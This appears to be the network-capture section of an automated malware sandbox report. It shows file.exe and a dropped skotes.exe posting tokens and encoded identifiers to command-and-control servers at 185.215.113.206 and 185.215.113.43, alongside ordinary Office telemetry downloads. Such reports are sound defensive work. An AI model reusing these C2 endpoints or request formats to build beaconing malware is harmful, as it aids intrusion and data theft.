Nov 20, 2024 23:13:05.321006060 CET	1236	IN	Data Raw: 93 0d c7 0e 45 0c 24 73 ae db 58 55 37 d0 c4 7d 47 97 c4 70 eb f5 4c a9 35 67 18 0d e1 10 0e 6f 50 7c ae 02 3f 74 ec 2b 44 e6 a6 55 bb 8d 0c 15 0d 09 a0 4e f4 96 86 13 45 9c 83 1c 6e 33 6e 28 94 db a6 56 f7 09 a9 18 4d 34 4b 98 61 3f fd 8c 62 9a Data Ascii: E$sXU7}GpL5goP\|?t+DUNEn3n(VM4Ka?bwRSP*Hhw4x)K3:"PLy/Ul9w:Qg\|"08fv\~_6}whEirzAZ wG9ul(X$t4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49949	185.215.113.206	80	7740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:13:08.952394962 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 34 33 35 65 62 37 38 37 34 31 38 34 64 34 34 34 38 61 64 36 65 63 35 63 30 62 64 62 64 34 36 32 35 37 65 36 31 64 65 63 39 38 39 34 30 66 39 34 63 39 65 34 66 36 33 35 33 38 65 36 34 64 66 66 65 32 63 39 64 64 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"b435eb7874184d4448ad6ec5c0bdbd46257e61dec98940f94c9e4f63538e64dffe2c9dd1------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECBAEBGHDAECBGDGCAKE--
Nov 20, 2024 23:13:10.821136951 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:13:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	50083	185.215.113.43	80	5688	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:14:03.786969900 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 23:14:05.124397993 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 22:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	50089	185.215.113.43	80	5688	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:14:06.782349110 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 42 32 46 37 31 42 30 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BB2F71B05182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 20, 2024 23:14:08.166515112 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 22:14:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	50096	185.215.113.43	80	5688	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:14:09.957256079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 23:14:11.378813028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 22:14:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	50104	185.215.113.43	80	5688	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:14:13.058331966 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 42 32 46 37 31 42 30 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BB2F71B05182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 20, 2024 23:14:14.442720890 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 22:14:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	50113	185.215.113.43	80	5688	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:14:16.211025953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 23:14:17.662945986 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 22:14:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	50120	185.215.113.43	80	5688	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:14:19.661389112 CET	316	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 42 32 46 37 31 42 30 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BB2F71B05182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Nov 20, 2024 23:14:21.090037107 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 22:14:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	50128	185.215.113.43	80	5688	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 23:14:22.833785057 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 23:14:24.210798979 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 22:14:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49704	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:21 UTC	492	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:20 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 16:37:24 GMT ETag: "0x8DD08B87243495C" x-ms-request-id: b5254561-a01e-0070-0158-3b573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221220Z-178bfbc474bh5zbqhC1NYCkdug00000000h00000000005wu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:21 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-20 22:12:21 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 22:12:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 22:12:24 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 22:12:23 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aa7a34d-201e-0096-3676-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T221223Z-185f5d8b95cwtv72hC1NYC141w0000000aug000000005fdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 22:12:24 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

